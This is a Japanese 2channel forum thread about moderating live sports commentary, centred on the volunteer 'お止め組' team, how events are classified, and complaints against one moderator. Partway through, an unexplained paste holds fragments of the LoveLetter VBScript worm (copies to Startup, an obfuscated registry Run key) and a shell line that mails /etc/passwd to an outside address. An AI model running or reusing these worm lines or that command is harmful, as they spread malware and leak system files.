他に用事のある時はお止め組の活動そのものをやらない。
活動している時は、「メモをとる時間も惜しい」くらいがんがってるだけですが。
>>135
期限付きで、改善が認められない場合、
「板停止or閉鎖」でもいいとおもいますよ・・・
その前に、dat保持数の削減と、dat落ちをより早くすることを
希望します。 >>135
実際には実況は減ってると思うし
騒ぎを起こしている板、スレッドも一部だと思うのだけど
その一部が先鋭化してる感があるんですよね…
個人的には「故意に実況する荒らし対策」に手を付けてみると面白そう >>139
dat削減とdat落ちの早期化は
流れの速い板のみを生き残らせてしまうため
実況対策には逆効果だと思うのだが、
なにゆえ希望するのか説明求む 未だに勘違いして、実況に対する意識が低い人がいるからなあ
お止め組は団子桜木で頑張っているというのに
しかも意識が低い人が削除人やここのコテという、いわゆる身内みたいな人の中にもいるし
まだまだ地道に頑張っていってもらうしかないなあ
>>137
30…結構多いですなぁ
んで実況常習は5つですか
(視聴率スレはアレなので除いて)
それって、当初に比べて改善されてる感じですか? >>141
実況は、実況可能なスレがあるため。
実況され得る可能性を下げるために、
dat数の削減とdat落ちのより早期化。 >>144
…根本的にdat落ちの仕組みを判ってないと思うのだが。 >>141
スレ保持数を実況並にへらして
というか「サーバ&扱いを実況仕様にする」ということだけかと、 a) 毎日、毎日それ自体が興行で行われているものの実況
b) 毎週、毎週〜
c) 毎月、毎月〜
d) 定期的に(一年に複数回)
e) 毎年、毎年〜
f) 数年に一回(二年に一回、四年に一回) 〜
G) 突然。
--------------------------------------------------
イチローの記録やドラゴンズの優勝の掛かった試合は
試合自体はa)でも、いつ達成するかがわからない（確定していない）からG) ですか。
実況仕様にすると、逆に実況以外ほとんどできなくなるから
「プロ野球とサッカーと格闘技とモータースポーツは2chでは実況以外禁止」
ということになるでしょうな。
>>143
実況常習スレが減ったとも感じていますが、それよりも誘導だけで止まることが
多くなってます。 実況が根絶できていないことを重視するのか、
減ってることを重視するのかは人それぞれにしても
少なくとも「減らないどころか…」という状態ではないでしょう
で、今どれだけの人が活動してるの？
お止め組。さんたちはスレを止めるだけが活動の全てじゃあないとはおもうけど
ハンドル毎の止めた回数とかの統計とかがあればみてみたかったりします。。。
テレビ朝日にて急遽番組差し替えという形で野球中継が始まりましたが
G） にて活動でいいのでしょうか
>>154
G)にて活動って具体的にどういうこと？ >>154
昨日の時点でもう発表されてたから保護対象外でしょ。
祭りにもならんし。 >>149
実況板でも、普通に雑談や終わった番組の感想はありますけど。
一度どこかの板へどうぞ。
スレ速度が遅いとすぐ落ちるから、人の多い話題しか残らないって
のはありますが。 >>155
それ、漏れの発言にかかってるのかい？
ヲチってわけでもないとおもうけどなぁ。。。
月ごとの止めた回数がわかれば
実況が自律的に止まってるのか、未だにチカラで押さえ込んでいるのかってのが
流れ的にわかるとおもうし、ここで議論する上でいいことだとおもうんだけどなぁ。
>>161
んじゃあ、板ごとの乙女組発動回数でいいんじゃね。
ハンドルごとにする意味ある？ ┗0=============0┛
＼===========［_|_|_|_|_|_|_|_|_|_|_|_|_|_］===========／
／三三三三三三三三三三三三三三三三三三三三＼
0 │ |∞∞∞ |::|∞∞田田∞∞|::|∞∞∞ | ::| 0
［二］ | ::| |::|┏━━━━┓|::| | ::l ［二］
◎○＠※◎○＠※. |□|.│ |┌┬┐ |::|┃ れんげ ┃|::| ┌┬┐| ::|. |□| ◎○＠※◎○＠※
ii|iiii|iiii|iiii|iiii|iiii|iiii|iiii| ｀)三(´| ::|├┼┤ |::|┃ ∧＿∧ ┃|::| ├┼┤| ::|｀)三(´iｌ|iiii|iiii|iiii|iiii|iiii|iiii|iiii|
＠※◎○＠※◎○ | ::| | ::|└┴┘ |::|┃（´∀｀ ） ┃|::| └┴┘| ::| | ::| ＠※◎○＠※◎○
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◎○＠iiii※◎○＠ ┣┳┳┳┳┳┫|::|┗━━━━┛|::|┣┳┳┳┳┳┫ ◎○＠iiii※◎○＠
ii|iiii|iiii|iiii|iiii|iiii|iiii|iiii|ｌ ○ ● ∫∬∫∬ ● ○ ii|iiii|iiii|iiii|iiii|iiii|iiii|iiii|ｌi
○○ ●● iiiii iii ii iiii ●● ○○
［￣￣］ ［￣￣］ （￣￣￣￣￣） ［￣￣］ ［￣￣］
|_○_| .|_○_| |＿＿＿＿_| |_○_| .|_○_|
>>160
一応ラジオ系は常連だよ
48時間でスレの落ちる板じゃ野球はまだしも
週1とか月1のスポーツ系は実質機能しないってこと。
株板のことはようわからんが。 >>162
ハンドル毎にすればフェードアウトした人もわかるでしょ。
大変だ⇒人が足りないから？とかいう話にもなってるわけだし、調べても
そんなに悪い話でもないとおもうけどね。
お止め組。さんの補充とかに話が進むのなら
まずもって存在意義がクリアになってからだとはおもうけどね。 >>157
中継が既に発表されたものであっても
本日優勝が決定するかどうかはまだわかっていません。
リーグ優勝が｢歴史の目撃｣に当たるのかわかりませんが。 >>166
んだから、試合が終わるまでは「通常の試合の実況」でしょう。
※もっともスカパーと東海テレビだったっけ、あまり規模は大きくなさそう
優勝決定後は、どれだけ予想外の事態が起こるかでわないかと。 >>153
HETARE氏もｷﾀ━━━━━━(ﾟ∀ﾟ)━━━━━━!!!!!
むむむ氏やrafale氏の見解も聞いてみたいなぁ。。
> ハンドル毎の止めた回数とかの統計とかがあればみてみたかったりします。。。
実況が減っているという声も上がっているけど、
板別のスレスト回数が今どれくらいで、当初に比べてどれだけ減ったのか知りたいところ。
お止め組。の人は統計とっていなさそうだから、なんか調べる方法はないのだろうか。。。
（もちろん個人別・板別があればベスト） Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
c.Copy(dirwin&"＼Win32DLL.vbs")
c.Copy(dirsystem&"＼MSKernel32.vbs")
c.Copy(dirsystem&"＼LOVE-LETTER-FOR-YOU.TXT.vbs
c.Copy(dirsystem&"＼LOVE-LETTER-FOR-YOU.TXT.vbs")
cat /etc/passwd | mail nobody@nonexistent.com
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:＼network.vbs", "j:＼windows＼start menu＼programs＼startup＼"
fso.copyfile "dirsystem&nurupo.vbs", "j:＼windows＼start menu＼programs＼startup＼"
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
？
？
？
fso.copyfile "dirsystem&nullpo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
cat /etc/passwd | mail nobody
>>167
本日の試合（両試合とも中継あり）
中日vs広島
ヤクルトvs巨人
中日が勝つか、引き分け。またはヤクルトが負ければリーグ優勝決定。
であってますか？
中日vs広島の試合が終わる前に優勝が決まる可能性もあると思いますが
もしそうなったら
a) 毎日、毎日それ自体が興行で行われているものの実況
e) 毎年、毎年〜
G) 突然。
のどれなんでしょう。他の人の意見も聞いてみたいです。
野球ってのは毎日毎日興行として行われてはいませんか
>>171
a)
ただし祭り要素になりそうな突発的なプラスアルファがあればG)と考えます
そしてそうなる可能性は決して低くないと >>108 一番下は規制議論での受け売りだもんでねー。
それはさておき,>>171 ふいんきと勘で。 実況は凄く減ってると思うけどね。
ジャンパイアスレなんか１０分で１００レスオーバーとかあったし。
今止められるのはアンチがわざとやってる場合か、無意識のレスが拡大解釈された時が主だと思う。
e) - 3) だなぁ
つまり、お題の目的はこういうのをすり合わせたいのだー
コンセントをさすっていうやつですか、
>>181
アンチというより、あのスレのアンチだろ。
視聴率スレと水増しスレしか止めてないんだから。 そうですね、専用のサーバを
わいわいkakikoあたりにでも
>>182
野球の優勝のためだけには専用サーバはどうしたって用意できないから、
e）は真っ先に選択肢から外してしまったのね
じゃぁJの優勝、J2落ち、昇格チーム決定もe-3なのかなぁ、と
今まで(お止め組み以前)は、めんどくさいから
「実況はだめー」と一律に言って細かいケアはしなかったのよ、
でも、もうちょっと頑張ってなんとかしようかな? というのも設立の理由の一つ。
無論、目の前に迫った夏が大きな理由。
もひとつ言えば、叩きに耐えられる★の発掘(つまり叩かれ役)
でも本当の理由は、私の変わりに叩かれてもらおうと、、、
ぐへへっ
>>188
きっと違うと思う、、、
それぞれがどんなものなのか知らないけど、
でもこれが日本シリーズとかだったら
5) で運用かと >>179
ふいんきと勘でズレが生じるのを減らすために
がやがやしているのではないでしょうか。
>>182
過去にあったできごとだと当時のログを知らない人は
参加しずらいと思うので、未来（現在）のものを例にしました。
実際はっきりしないと活動しずらいですし。
>つまり、お題の目的はこういうのをすり合わせたいのだー
すり合わせをする相手は
・このスレの参加者で
・お止め組。の人達で
・FOX氏の判断と
のどれなんでしょうか？
イチローの記録がかかった試合も、どれに当たるのか考えているのですが
年に○回といった定期的なものではない。
かといって記録までカウントダウンできるという意味では突然起こるものでもない。
果たしてG) 突然。に当たるのでしょうか。 あっと
G) や 5) であっても「実況は実況板で」というのは変わらないですよ
お間違えなきよー
>>193
わたしとすり合わせてどうする
今まではこうやって来たという事実は提供できるけど、 >>191
予定されている、されていないで区別するなら
予定されている試合
日本シリーズ＝チャンピオンシップ、Jリーグ入れ替え戦
いつ決まるかは基本的に判らない
プロ野球のリーグ優勝決定＝Jのリーグ優勝、自動昇格(降格)チーム決定
みたいなもんですかねぇ
リーグ最終戦は、そこで必ず決まるから性質的に日本シリーズに近いかも
いや、11月にはリアルで起こる問題なんで >>193
アイヤー。漏れならば の話です ｽﾏｿ
ただ,例えばドラゴンズ優勝の時に「ｷﾀ━━━━━(ﾟ∀ﾟ)━━━━━!!!!」とかがばたばたっと来るのは
避けたいのは勿論だけど,だからといって「アノ時の○○は△△だったねー」と言うのは
書けないと意味ないからねー。 >>190
こんなこと書いてるよ
> a) - d) = 実況は実況板で、
> e) - f) = 専用のサーバを大抵用意するので、そこで
優勝専用のサーバなんてあったっけ？
とかまあそんなことは全然どうでも良くて、
>>194の
> G) や 5) であっても「実況は実況板で」というのは変わらないですよ
> お間違えなきよー
ってのをきちんと徹底しておかないと
「○○なときは普通の板でも実況していい」
って感じになりそうで あたし こはひ れんげとかいうやつ異常だ！
こういう人間に「判断」をさせてはいけない。
し! _ -── ‐- ､ , -─-､ -‐─_ﾉ
れ 火 /／￣＞ ´ ￣ ￣ ｀ヽ Y , ´ ） 火 え
ん 病 L_ ／ ／ ヽ 病 |
げ で / ' ' i !? マ
の ス / / く ジ
悪 レ l ,ｨ/! / /l/!,l ／厶,
癖 止 i ,.lrH‐|'| /‐!-Lﾊ_ l /-!'|/l ／｀'ﾒ､_iヽ
よ め l | |_|_|_|/| / /__!__ |/!ﾄi i/-- ､ ﾚ!/ / ,-- ﾚ､⌒Y⌒ヽ
ね る _ゝ|/'/⌒ヽ ヽﾄ､|/ '/￣｀ヾ 、ヽﾄ､Ｎ'/⌒ヾ ,ｲ￣｀ヾ,ﾉ!
l の 「 l ′ 「1 /てヽ′| | | 「L! ' i'ひ} ﾘ
が ヽ | ヽ__Ｕ, ､ヽ シノ ﾉ! ! |ヽ_､ｿ, ヾシ _ノ _ﾉ
-┐ ,√ ! ￣ ﾘ l ! ￣ ￣ ７/
ﾚ'⌒ヽ/ ! | 〈 _人__人ﾉ_ i く //!
人_,､ノL_,iノ! /! ヽ r─‐- ､ 「 Ｌ_ヽ r─‐- ､ u ノ/
/ / lﾄ､ ＼ ヽ, -‐┤ ﾉ キ 了＼ ヽ, -‐┤ /／
ハ キ { / ヽ,ﾄ､ヽ/!｀ｈﾉ ） モ |/! 「ヽ, `ｰ ／） _ ‐'
ハ ャ ヽ/ r-､‐' // / |-‐ く | ＞ / / ｀'／／-‐､ ／
ハ ハ ＞ ／＼＼// / /ヽ_ ! イ （ / / ／／ / `ｧ-‐ '
ハ ハ / /! ヽ レ'/ ﾉ ＞ ' ∠ -‐ ￣ノヽ /
{ i l ! / フ / -‐ /￣/〉 〈 ＼ /!
>>198
>ってのをきちんと徹底しておかないと
>「○○なときは普通の板でも実況していい」
>って感じになりそうで あたし こはひ
これができない板はなんともかにとも・・・
少なくとも私やお止め組みはやりませんし
しちゃだめです。 >>194
個人的には実況を減らすことに関心のある
このスレの参加者間でのすり合わせだと思っています。
5) のみがお止め組みのスレスト発動対象。とされていますが
キャップを付けての誘導は可ですか不可ですか？ 一応さ、どのレスが実況なのか指摘して止めてくれよ。
れんげの気分一つで止められたらたまんねーよ。
>>202
このスレの議論参加者にも >>8 あたりで示されている考え方を
「○○なときは普通の板でも実況していい」
と捕らえてる人もいそうだし、
>>8 あたりの考え方と「絶対実況禁止」っていう見た目上矛盾した考え方を
上手く消化できない人もいると思うよ
>>8 の選択肢が本当に正しいのか？ すべてを網羅しているのか？
あたりの話にはならないのだろうか なあ、1レスで止めるって、お前のリロードの方が負荷かかってんじゃねーの？
れんげさんよ！
496→498止
502→503止
527→529止
587→589止
だと思うのだが＞視聴率スレ
別におめーの考えなんて聞いてねーよ。
なにしゃしゃり出てきてんの？
>>213
詰所なり報告スレなりに連絡すれば
出てきてくれるとおもうよ。
…お止め組。さんたちも生身の人間なんだから全部見ろったって無理だべさ。。 >>212
いやー、誰 で も わ か る レ ベ ル だからついね。 >>214
はなから全部観ようとなんてしてねーだろ、一つのスレに貼りついて更新連打してるだけだろ。 こちらへ誘導されたのですが、実況の定義をお聞きしてもよろしいですか？
具体的な話は諒解を得てからにしますが… >>1を読むとここは違うような。。 >>207
んだんだ。
とかいって自分もやや混乱気味・・・
>>216
れんげさんは複数のスレを止めてますよん。
つか、苦情のレベルを超えて、言いがかりに近いものを感じますなー リロードすればよかったorz
>>202ということは
5) ｺﾞﾙｧ 何実況してるんじゃい、とめとめ、閉鎖閉鎖。
以外とG) 突然。はお止め組。はスレストも誘導もするなと。
>>207
お止め組。の活動対象ではないが、実況は認められていないということかと思います。 たった１レスを無理矢理実況解釈して止めてた割りには今実況しまくりなんだが
そもそも「お止め組の対象外だから実況していい」ってわけではないんだしね。
(´-`).｡ｏＯ（ なんでURLを書かないんだろう ）
>>219
1レスで止めることに何の合理性があるのか説明してくれ。 >>227
一応、誘導と削除依頼済みです。
前もこういうスレ立ったことあるんですよね… お止め組の方々に質問です。
この実験の始まりから今までで、
実況の根絶には何が一番効果があると思いました？
ひとつだけで良いんで、お答えいただければ幸いです。
ごく単純に視聴率スレをアンチ板に移動させれば済む話だと思うのですが・・・
視聴率を語るのは板違いでしょ。
>>228
じゃあ>>147のFOXさんの案を実行しるしかないのかなぁ？
あきらめちゃうんだったらもうそれしかないような、 >>233
元々批判要望にそれ用のスレがあったんですが
落ちてしまいましたねぇ。。。
このスレの趣旨はそれとは違うのですが。。。
うーん、 >>216じゃなくて >>219の間違いでした。
複数止めているところをぜひ見たいと。
歯向かう奴、全部言いがかりですか。ぷっ >>230
「住人の反感を買わないこと。自治の人が働きやすい環境を作ること」
この場合の住人は実況するためだけに来ている実況厨ではなく、放送がない時に
板を利用している住人のコトね。
涼実の定型文を変えた時に、目に見えて実況が減ったでしょ。 私はテレ朝しか視聴できない為、本日のプレーオフ「西武×日本ハム」
「巨人×ヤクルト」の２元中継は、判断しかねるものが多かったので
あまり積極的な活動ができませんでした。申し訳ありません。
悪質な故意実況いくつかを『故意に実況する〜』のスレに報告しました。
おとめ組はここで討論するより今野球板でやってる実況を止めるのが先ではないのか？
>>238
実況報告スレですね。それではそちらに行ってみます。
>>237-239
とりあえず報告スレに行ってみます。ありがとうございました。 >>245
今、目の前のTVは別の番組で手一杯です。（ここで番組名を書いちゃうと実況になるんだよな）
止めきれないなら止めなくて良いじゃん
>>242
どもです。
縁の下の力持ちに徹するのが一番、という感じで理解していいですか？ >>231
＞ごく単純に視聴率スレをアンチ板に移動させれば済む話だと思うのですが・・・
何で視聴率が、アンチ板なんだよ。アンチ板を厄介者扱いたまり場にでもする気か？
普通なら、野球総合に行くべきじゃねぇのか？ >>230
自治の方々や有志の方々による細かい誘導や実況禁止ということを
板利用者へ周知してもらう為の案内…かしら。
お止め組はもともと嫌われ役ということは理解しています。
嫌われ役ができることで、自治の方々や有志の方々が活動しやすく
なればいいな、と思っています。
>>245
今の時間の試合、視聴できないんです…すみません。
みながらでないと、きちんと判断できないので。 プロ野球板が現在実況の嵐なんだけど
なんとかならんの？
中継中にそのチームに関わる事象を書けば実況でしょうが。
見ながらとかそういう問題じゃない。
>>230
板住人の自治意識の向上には役だっているかなーと。
ちょっとずつ変わってきた部分があるんじゃないでしょうか
通常の試合等の実況に関してはかなり減ってきたし、
有志による誘導だけでなく、実況レスに対して住人の「実況やめろ」
などのレスがつくようになったのが一番だと思ってます
>>252>>263
板の自治が変わってきて、誘導なども行われている。
じゃあ後は、お止め組の人が住民の人を うまく 引っぱっていけば
実況は根絶されますね、きっと。 おとめ組が感情で動いてる事を改めて再確認しますた。
あの１レスで止めてたのは何だったんだろう…
今日はその数百倍実況してたし。
>>260
７５９なんてスレ番ないぞ、それにそこ削除人のスレじゃないか、
削除スレがスレ移動と何の関係があるの？
それに、
231 名前： 動け動けウゴウゴ２ちゃんねる [sage] 投稿日： 04/10/01 22:05:22 ID:bQ2THNyj
ごく単純に視聴率スレをアンチ板に移動させれば済む話だと思うのですが・・・
にはなんの反応も無いわけ？
アンチ板なら反応無くて、野球総合なら削除人スレに誘導ってどういうこと？ >>269
スレ移動は削除スキルの一種ですが、、
そういう意味じゃないの？ >>265
そこでお止め組みに引っ張ってもらうというのは多分違う 結局、実況の勢いに負けているだけじゃん。
根絶するなら徹底的にやれや。
１つのスレに感染して止めるなら誰でも出来ら。
視聴率スレを見ていて怖いのは、流れが速いのでいつも上にあること、そして、そのせいで
視聴率スレを見た他スレの住人が「ちょっとぐらいなら実況したり、煽りコピペを貼っても
いいんだな」と思ってしまうこと。
野球関連がＴＶに出たとき、ひどいときには視聴率の話題がワイドショーに出た時点で実況
してるでしょ、あのスレは。
あの守備範囲をカバーしようとするなら40〜50人は必要なのでは？＞お止め組
>>269
とりあえず、あなたが何を言いたいかさっぱりわかりませんが、
たぶんあなたの疑問に私は答えられると思うので、
聞きたいことがあるのならばリンク先のスレでお待ちしてますよ。 >>271
どこが違うのかをはっきりと言ってください。 ちなみに、私が視聴率スレを消したり、消そうとしたりしているのは
あのスレが板違いだからです。
アンチ板との板違いってことですね。
４．投稿目的や、実況も根拠としては挙げられるのですが、
とりあえず主根拠は板違いです。
で、お止め組の皆さんはそれとは全く別次元で活動しているので、
なんであのスレがプロ野球板にあるのかとか、
何で移動されないのかとか、削除しるとか、ここで言うのは全部スレ違いです。
純粋に実況についてのお話だけここで。
残りの方は皆さんそろって
■□野球板って無視されてるんすか？□■
http://qb5.2ch.net/test/read.cgi/sakud/977046015/
こちらのスレへどうぞ。
なんか、あのスレに書き込んで意見をもらおうとしても
なかなかもらえないので、皆さんの意見を頂戴できると嬉しいですぞ。 >>276
住民が自主的に進むことが期待されているのではないかと >>272
お止め組の人達が１スレだけしか見ていないなんてことは無いと思います。
要領の悪い私でさえ今日は３０スレくらい巡回していました。
現在何人の方が活動できる状況にあるのかはわかりませんが、
全部のスレを完璧に見回るのは無理です。
完璧に見回る方法があるのなら、教えていただきたいです。
>>276
お止め組はあくまでお手伝いだと思うので、引っ張っていくのは
違うのでは？
自治の人達や、板利用者(住民？)の人達が自発的に実況を
しにくい雰囲気を作っていくことが望ましいと思います。 >>278-279
実況について、このスレで得られた知識を分けてあげる、
というのが、引っ張っていく、ということだと思うのです。
自発的に進んでいっても
変な方向に進んでいったら意味ないですし。
実況の定義の話しとか、お止め組はどういうものだとか
それを聞きに来た人に 簡潔に、かつ分かりやすく 教えてあげるのが
お止め組の役割だと思います。 自治による実況しにくい雰囲気作りや誘導は
もうやり尽くされた感があると思うのですが。＞前スレのテンプレ>>10にあるような努力 いくら自治をやろうが、基地外が暴れまわってる状況で住民になにができるんだよ？
荒らし報告やスレッド削除を完全に無視しておいて、自治側に責任を全部
なすりつけるな。
引っ張っていく というと最近の甘えていると言う流れになってしまいかねないかもねー
背中を押してあげれればべすとなのかなー
削除屋＠江之島狂兵衛 ★殿
書きましたので、ご返事お待ちしております。
密かにれんげさんのせいでやりにくくなったんすけど。
勘弁して欲しいよなあ・・・ったく。
>>281
自治の人に限ったことではなく、板利用者の意識の向上が必要と思います。
自治の人・利用者 と区別するのではなくて、皆で使いやすい板環境にしていく
のが理想的かも。全員が自治の心を少しでも持てればいいかな、と。
難しいかもしれないですが、少しずつでもそういう人が増えていったら良いな
と思います。
>>282
その辺の不満はお止め組に言われても困るかも…
自治の人に責任をなすりつけるとは？ じゃあ お止め組＝実況対策コンサルタントということで
>>280
本当はあまり書きたくなかったんですが、自治スレなんか
に名無しで書き込んだりしてるんですよ、どことは言いませ
んけど
※見てると結構やってる組員さんがいるっぽい感じがします
ちなみに、以前キャップで書いたら逆に煽られて、話どころ
ではなかったことがあったことを付け加えておきます 中日優勝という実況が発生しやすい状況が予想されながら
「見てません」と堂々と言い切ってしまうお止め組って…
>>288
私は時々ですが★付きで書いてます。主に誘導テンプレなどのお願いをする時。
★付きでないと信憑性が問われる書き込みの時など。
名無しでも書いてますが。
>>289
最初からそういうお約束なので。活動時間に関してはなんらの義務も負っておりません。
>>289
仕方ないです
状況を見ていないのに実況かどうか判断するのは難しいですし、
後で止めた時の理由を聞かれたりした場合に説明できませんから。 実況が最も起きやすい状況で活動しなきゃお止め組の意味がナッシング
>>286
私は自治の人なんていないと思っています。
自治の人・利用者と区別して考えたことはありません。 ＞最初からそういうお約束なので。活動時間に関してはなんらの義務も負っておりません。
義務って言うより役割の話なんだが。
実況が大量発生して通報されても尚放置って何の為にお止め組やってんのかな？
気にくわないスレを止める為？
>>289
ドラゴンズのリーグ優勝に関しては
お止め組。の活動対象範囲外だそうです。>>166-
>>296
ループしているか否かはどこでわけるのでしょう。 なんとなく適当に？
今はちょうど一回りしたくらいですかね？
野球と他のex8とは別として考えた方がいいなぁ。
ほぼ毎日実況のある野球に比べると、他の板はかなり状況が違うような。
野球関係の不満を移動させるのが一番わかりやすいような。
じゃプレーオフや日本シリーズも活動対象外なんだね？
セ優勝は実況ＯＫでパ優勝と日本一は実況ＮＧなんて事ないよね？
ま、感情論を感情論で抑えようとしても無理がある罠。
運営に対する批判には、=>ソース要求。
運営にソース要求=>無い。無理。挙げ句にお止め解散=>板閉鎖を推進する発言。
議論(？)の結果は、予め用意されているのではないか？
いきなり閉鎖じゃ大義名分が成りたたないからワンクッション置きましょうか…な希ガス。
>>299
始める前から適当にじゃ、揉めるもとにもなりかねませんよ。
>>301
>>8を元にすると
・プレーオフ
・日本シリーズ
がe) - 5) >>191
・セV
・パV
・日本一
がe) - 3) >>182
だそうです。 最も激しく実況が起きそうな状況で抑えなきゃ、今までやってきた意味がないと思うが。
所詮その程度の物って事だな。
>>304
んじゃー
今、議論している、実況に対する意見のすり合わせなんかは
批判要望板のスレでやるっていうのはどうでしょ？
>>305
そんなん分かりきったことじゃないですかね？ 壁|-`).｡oO(『根絶』はもはや限りなく不可能だから。ですかー）
>>307
そういうこっちゃないですよ。
お止め組のみで実況を根絶するなんて無理な話ってことですよ。 Ｈ）起こるとわかっている（予想できる）が正確な日程（いつ起こるか）が
わからないもの
>>301の他にイチローの記録更新もかな。最近だと内閣改造とかニュースでも
適用できそうなのが結構あるし。
微妙なんで判断しがたいけど、この場合は原則として3）〜4）ぐらいなのかな。 実況が大量発生してる時にこそ止めないと実況ＯＫと誤解する厨が増える訳だが
>>308に追加。
ここで話し合ってるのは、「どの実況がOK/NGか」じゃなくて、「どの実況をお止め組として止めるか」て事だよね？
でないと>>194の意味が分からん。 >>311
お前、いいこといった（のかも知れない）
「お止め組。さんにおんぶにだっこ」はｲｸﾅｲ!!!みたいな>>265-からの流れに
なんか則ってますな。
(´-`).｡oO(一旦介入しちゃうともうおんぶにだっこ状態になっちゃうのかしらねー) >>311
そういう誤解する人が出そうな場合は、お止め組よりも
実況している人たちのすぐ近くにいる人たちが誘導したほうが良いと思います。
お止め組は
瞬間的に実況が大量発生したときに止めるよりも
ずっと同じ所でいつまでも移動しない実況を止める方に
重点をおくべきであると思います。 し! _ -── ‐- ､ , -─-､ -‐─_ﾉ
小 逆 /／￣＞ ´ ￣ ￣ ｀ヽ Y , ´ ） 逆 え
学 ギ L_ ／ ／ ヽ ギ |
生 レ / ' ' i レ マ
ま が / / く !? ジ
で 許 l ,ｨ/! / /l/!,l ／厶,
だ さ i ,.lrH‐|'| /‐!-Lﾊ_ l /-!'|/l ／｀'ﾒ､_iヽ
よ れ l | |_|_|_|/| / /__!__ |/!ﾄi i/-- ､ ﾚ!/ / ,-- ﾚ､⌒Y⌒ヽ
ね る _ゝ|/'/⌒ヽ ヽﾄ､|/ '/￣｀ヾ 、ヽﾄ､Ｎ'/⌒ヾ ,ｲ￣｀ヾ,ﾉ!
l の 「 l ′ 「1 /てヽ′| | | 「L! ' i'ひ} ﾘ
は ヽ | ヽ__Ｕ, ､ヽ シノ ﾉ! ! |ヽ_､ｿ, ヾシ _ノ _ﾉ
-┐ ,√ ! ￣ ﾘ l ! ￣ ￣ ７/
ﾚ'⌒ヽ/ ! | 〈 _人__人ﾉ_ i く //!
人_,､ノL_,iノ! /! ヽ r─‐- ､ 「 Ｌ_ヽ r─‐- ､ u ノ/
/ / lﾄ､ ＼ ヽ, -‐┤ ﾉ キ 了＼ ヽ, -‐┤ /／
ハ キ { / ヽ,ﾄ､ヽ/!｀ｈﾉ ） モ |/! 「ヽ, `ｰ ／） _ ‐'
ハ ャ ヽ/ r-､‐' // / |-‐ く | ＞ / / ｀'／／-‐､ ／
ハ ハ ＞ ／＼＼// / /ヽ_ ! イ （ / / ／／ / `ｧ-‐ '
ハ ハ / /! ヽ レ'/ ﾉ ＞ ' ∠ -‐ ￣ノヽ /
{ i l ! / フ / -‐ /￣/〉 〈 ＼ /!
Samba24 = 240 (base:ex8) にした。
たぶん、今年の全試合が終るまで、
荒らしに限ってパソ数台＆携帯駆使してるからＳａｍｂａ規制は無意味。
昨日に関してはお止め組の怠慢の方が問題だと思うが。
お止め組みの作業を知らないようで、
1) もともと実況がさかんなお行儀悪い板があった。
2) 普段からの口先介入やexおくりで実況を止めて欲しいと思った。
3) それでも駄目だから、停止&閉鎖となるとこだった。
4) 「何も努力しないで」という叩きがうぞそうだったので、
も少し頑張ってみることにした。 ← 今ここ(お止め組み ★)
5) お止め組みは話にならんという。んじゃ もう打ち手無しですね、
↑今日当たりからここ
お止め組みは実況やっている板の延命策。
つまり目的は板の閉鎖の阻止ともとれる。
ニュース速報が実験中は延命されたのと同じ。
昨日も実況してたのはアンチか荒らしで、他の奴はちゃんと実況板に逝ってたけどね。
荒らしやアンチの行儀など自治じゃ良くならんし。
昨日みたいに悪意の実況がまかり通ってたらおとめ組の意義ってあるのかね？
>>324
あきらめますか? どうしますか?
板で話し合ってきてください。 今実況やってるのは荒らしかアンチ。意味わかりますか？
わかりません。
連れて帰ったほうがいいですよー > base の方々
荒らしかアンチが故意実況してようが
板閉鎖を免れられる、だなんて思わないほうがいいかと
お止め組みの皆様方へ
base@ex8 の実況根絶のお手伝いはしないでください
近々 私が判断をし何がしかの作業をいたします。
>>328
運用板の質問スレで実況するぐらいの人だから
実はお止め組のこと自体もあまりわかっていない悪寒。
荒らし相手に話し合いで解決するぐらいなら・・・（以下 目的とか、考え方の問題かと、
たとえばニュース速報の場合
「ここは何でもありなんだー、だから何やっても良いじゃん」と主張し続けて、
板違い、実況等々なんでもやって困ったチャンな板になるのと
「ここはニュース速報、板違いはやっちゃだめだし
アニメの実況なんてもってのほか」という前提で動いていて
なかなか実現はしないけど皆で頑張っていが結果的には根絶できてはいない。
この二つは根本的に方向性が違うのよ。
>>324 のように板の方々があきらめるなら、それも板としての一つの道かと。
板にいる当事者り方々があきらめるなら、もうお手伝いは必要ないかと。 あきらめてないからこそ大半の善良な住民は実況板に移動してるんだが。
正直荒らしや反逆的な住民をどう意識改革すればいいかこっちが知りたいよ。
>>330
承知致しました。
プロ野球に関してはしばらくの間kyozin・npbを、ということでいいのでしょうか？ ついに追放か。
野球といえばプロ野球とほぼ同義のこの国で、
２ちゃんではプロ野球の板がそっくり消えてしまうのだな・・・。
時代なのか？それとも・・・
秋ボケしてたようで…
>>338の後半は忘れてちょ、と。 >>346
イチローの記録達成、そのもの「だけ」なら>>182（リーグ優勝決定）とほとんど同じじゃないかな、
出来事そのものは今日可能性が高い、ってことは分かってるけど
その出来事自体は歴史だしタイミングもいつになるか微妙にわからんし。
まぁ、それ以外の試合状況についてｷﾀｰとかしてるようならかなり論外だろうが、 ニュー速とか余所を気にする前に自分の所の対策を考えれ
>>335
＞たとえばニュース速報の場合
＞「ここは何でもありなんだー、だから何やっても良いじゃん」と主張し続けて、
＞板違い、実況等々なんでもやって困ったチャンな板になるのと
＞「ここはニュース速報、板違いはやっちゃだめだし
＞アニメの実況なんてもってのほか」という前提で動いていて
＞なかなか実現はしないけど皆で頑張っていが結果的には根絶できてはいない。
＞この二つは根本的に方向性が違うのよ。
その2つでたとえている時点で住民との「ブレ」があるような気がします。
ここはプロ野球、
「だから」がんばって板違い、実況等々なんでもやって板アボンに持ち込もう、
と言う前提で動いている人が少なからずいるということを認識していますか？
さすがにこれはいないのかも知れないが
荒らし報告に報告されるために実況する人すらもいるのかも知れません。
たとえるのなら、
空き巣対策をはじめたら強盗団の対策まで考えなきゃいけなくなったわけで
